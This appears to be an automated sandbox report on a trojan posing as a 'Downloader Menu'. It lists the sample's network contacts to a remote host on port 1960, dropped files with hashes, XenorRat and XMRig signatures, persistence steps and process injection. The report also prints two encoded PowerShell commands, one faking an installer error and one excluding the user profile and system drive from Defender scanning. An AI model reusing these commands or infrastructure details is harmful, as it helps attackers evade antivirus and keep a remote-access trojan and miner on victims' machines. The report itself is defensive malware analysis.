C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2296 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2308 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1472 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1324 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3452 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3580 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:8

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2736 --field-trial-handle=1376,i,10346704836790125589,17093948377590268171,131072 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 www.google.com udp
GB 142.250.187.196:443 www.google.com tcp
US 8.8.8.8:53 apis.google.com udp
GB 142.250.200.14:443 apis.google.com tcp
US 8.8.8.8:53 play.google.com udp
GB 172.217.169.46:443 play.google.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
N/A 224.0.0.251:5353 udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
GB 193.181.41.199:1960 hax.onthewifi.com tcp
US 8.8.8.8:53 hax.onthewifi.com udp
GB 193.181.41.199:1960 hax.onthewifi.com tcp

Files

C:\Windows\Downloader_Menu_2.1.exe

MD5 9d3195f106a540570da0d038bc07cf68
SHA1 33c1dd7a4101d1622b4d9268da0b731e00ddca39
SHA256 240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce
SHA512 9c7b0da3e2a01a05f61e39648d31851c5b0d70d7f20d865792cf4c8cec39ad764b2f11833116dbcdea57f3ec1785345921defbd656eab4fc23095b63ba889f69

\Users\Admin\AppData\Roaming\risk.exe

MD5 2cb05f0d4360327b33956fedf516c6fe
SHA1 4562653b1361ce66ded9633e5883d00184c08796
SHA256 af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6
SHA512 f0967245d1693d74d146356c9540a9ae0b848a96a6e58eacc111a951a6b32e01f325f8848b2b0c66b38dbfcdcb37e052ccfc27cf9b3b6752f3cba876181f6fa6

memory/2596-18-0x0000000001010000-0x0000000001022000-memory.dmp

memory/2764-26-0x0000000001100000-0x0000000001112000-memory.dmp

\Users\Admin\cvtres.exe

MD5 c9698a20e68954387eed40d36d17c087
SHA1 c50cf0ac1cbf51a89b6c1b816e5e63e7e7287179
SHA256 3a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f
SHA512 f8099e4e6bf6e1cd850faa398b3ef8862852342bef0ec8a7318495be6e82ddf903834b951faa6c5bbd0879414dcaccf3fec6ade4ef74054e08011d718ed1e813

memory/1124-34-0x0000000000D50000-0x0000000000D58000-memory.dmp

C:\Users\Admin\temp.bat

MD5 96b7afe999094957a1ce5b1c0ee0cb2f
SHA1 6b5d48b5f75246993de0263d27d2b9cdcc6ebf3f
SHA256 d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a
SHA512 ed7e02b26664b442f95fdf83af03d7773c017dadf3bec8c2d37cc2b30c49b6751a3104b85f00cfedbd145f422635e5b3ad49ea80adf7c0a92b06db474c6a238c

C:\Users\Admin\temp.ps1

MD5 5e817bbd9ef2f8821aa0283b20a51923
SHA1 102ca518d89653fb400636e660fa3fc276235c5c
SHA256 27f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7
SHA512 f21388e0655e6733abc70ff9fe2bbfdca00d81d2e7a09236d679293df34a966990f689f2d62119cdd877c7aeda35ab0c2b3c66108bc6b721e5dea34a93342d2e

C:\Users\Admin\AppData\Local\Temp\tmp2B93.tmp

MD5 c824a7486b8af655d347fd367022d0d2
SHA1 17bb7f077818e6d5ecb3be0fc681d341b82dd72b
SHA256 025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14
SHA512 a026982ac700263bf2dfd5415365dbe52b0e59095adfd00c937af28f5c84978faf65aeb2cd2c7c9dc5c7b38dc82dc2acc2d7b91e96026e73a881483168586bc1

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NX55Q4JV0ET3JMSOYCNZ.temp

MD5 0f45303121c1c7f93766b833135e482b
SHA1 23160dd685c388f3aa91ffd9ac458e98652c34b0
SHA256 062b76b3c032bd306aa8acedd4844e07d5e06c1cf46692a6edeac9a6ee840b18
SHA512 ad063a34a81f2e1864e50d510a5ae72737bba89902c75ffa144c0da6e5f4632e129c41e8fec4ee31391be71a41f196818ed7742a7fc0330a82fe0de64cc6380f

memory/2908-45-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

memory/2908-46-0x0000000001F70000-0x0000000001F78000-memory.dmp

C:\Users\Admin\temp_.ps1

MD5 5a0a8376c0e45cc25d4050920cee3dcc
SHA1 2de4ddf90f3165b245bd9f77c145c8f770c98b85
SHA256 86af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25
SHA512 f5afd39336d6b9f0590d68a716e8c3b403c13b98aae34d76f43e34698d2c6485e3dbce7a6439623362effec50ab0b2696b1ed25e377ba4dae75047ef419f51c0

C:\Users\Admin\temp_.bat

MD5 ff46d6b0970c55dba491b6dd06384f84
SHA1 c8be08575f2174a9a00bff33e3b1a7c1d9c4a025
SHA256 a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85
SHA512 b0d5b4eb5d9b58f35f218dffb43956716adb062626a75fcde11ba517e9d16d015f8a0d90ae72fbad47c87cbec86ef3e6a16347900f0c0be97e47f6d58bdac3a6

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\CURRENT

MD5 18e723571b00fb1694a3bad6c78e4054
SHA1 afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA512 43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

\??\pipe\crashpad_2040_GSLYWFAAFRQLSWJH

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp

MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

MD5 a8fb40741a67d738b6a23a032d66cdf6
SHA1 4ec8fef017fe68d97d6e372ae4c145b479818b10
SHA256 2374077d7a0e9e5ccd5200099a56c3bf4a4431dc22abd0408262acdf07a006fd
SHA512 9ff701fb88a0c0c03b337688b05373123be347faacc033ce0e15390db0a72f36c693033e74fddda8be5220156c5f7d8ba75dfcd89e2787b07fb748d23b558010

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 1509db20615cfc2b68be5c5ea05899d1
SHA1 88564946b8d4143494511881d5f7c45235c79d3c
SHA256 fd9c25f0753f47e9ad9f8116e920e2bc4fb5e4efeb4eba7ae5e5937084c4cb10
SHA512 b79cdeb1655aa46b93ad5588e17f2e25533bd93a55e92659fbe7956babfad8058a2bbca35ec8a2937624f4ed18f12cb09a9b907dbafc2de5ee87dc4077849277

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 0392421d638c912248b54ae8f356840e
SHA1 e52f7de1ede50ec3babe0446d532ac3821a42ebd
SHA256 2b7275d3962f72318f39d1c93af9a205fd2d373df34642508b795a0457fa640b
SHA512 25961374e3991e30a846255d6c1f58b7c4b697f785563ff2c31f7e801271c05687a4c6141678ffc61036197e91a1338a769bbd42a16067b00514f95ead588c12

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

MD5 68c2393508dc70673d69258dd6a5cff5
SHA1 c89d158cfc0d921adc6f883214f3a77a7e69ca3a
SHA256 6c5b76f2792ea254c9e84621f19d2eb277b808df4c6e16be1d572715c7b03f67
SHA512 078e4992ecd09626990b1018837a20a5c644b54a63d15f522699bee492ac98826c632ce750bc2a3aca4ce2eda23b56bb8a8ab533659a979ce3c6f1d0a0a98a5c

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-17 13:00

Reported

2024-05-17 13:03

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe"

Signatures

XenorRat

trojan rat xenorat

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\drivers\etc\hosts C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Stops running service(s)

evasion execution

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\risk.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Downloader_Menu_2.1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\risk.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe N/A
N/A N/A C:\Users\Admin\cvtres.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\MRT.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3620 set thread context of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 4708 set thread context of 5076 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1652 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1652 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1652 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1652 wrote to memory of 3972 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1652 wrote to memory of 3972 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1652 wrote to memory of 3972 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1652 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1652 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1652 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1652 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 1652 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 1652 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 1012 wrote to memory of 3796 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 1012 wrote to memory of 3796 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 1012 wrote to memory of 3796 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2564 wrote to memory of 4536 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2564 wrote to memory of 4536 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 3796 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 3796 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 3796 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 4536 wrote to memory of 3620 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4536 wrote to memory of 3620 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3620 wrote to memory of 4708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 3128 wrote to memory of 3884 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 3128 wrote to memory of 3884 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 4708 wrote to memory of 5076 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4708 wrote to memory of 5076 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4708 wrote to memory of 5076 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4708 wrote to memory of 5076 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe
PID 4708 wrote to memory of 5076 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe

"C:\Users\Admin\AppData\Local\Temp\Downlaoder_Menu.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="

C:\Windows\Downloader_Menu_2.1.exe

